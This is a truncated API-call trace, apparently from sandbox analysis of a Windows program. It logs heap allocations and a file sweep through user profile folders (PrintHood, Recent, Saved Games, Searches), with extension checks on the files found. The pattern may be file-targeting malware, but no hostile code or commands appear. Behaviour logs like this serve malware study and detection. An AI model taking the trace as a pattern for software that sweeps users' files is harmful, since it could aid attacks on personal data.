0x3075558 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.544] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.544] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.545] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.545] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0125.545] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.545] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.545] PathFindFileNameW (pszPath="") returned="" [0125.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075558 [0125.545] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r-u9vnXsx8Ur0", cAlternateFileName="R-U9VN~1")) returned 0xffffffff [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075558 | out: hHeap=0x5c0000) returned 1 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.545] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0125.546] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.549] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.549] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0125.549] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.549] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.549] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.549] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.549] PathFindFileNameW (pszPath="") returned="" [0125.549] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8184c870, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x40683ef0, ftLastAccessTime.dwHighDateTime=0x1d4c703, ftLastWriteTime.dwLowDateTime=0x40683ef0, ftLastWriteTime.dwHighDateTime=0x1d4c703, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r-u9vnXsx8Ur0", cAlternateFileName="R-U9VN~1")) returned 0xffffffff [0125.550] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.550] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.550] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0125.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.550] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.550] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.550] PathFindFileNameW (pszPath="") returned="" [0125.550] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.550] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.550] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.550] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0125.550] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.550] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.550] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.550] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0125.550] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.551] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.551] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.551] PathFindFileNameW (pszPath="") returned="" [0125.551] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.551] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.551] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.551] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0125.551] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 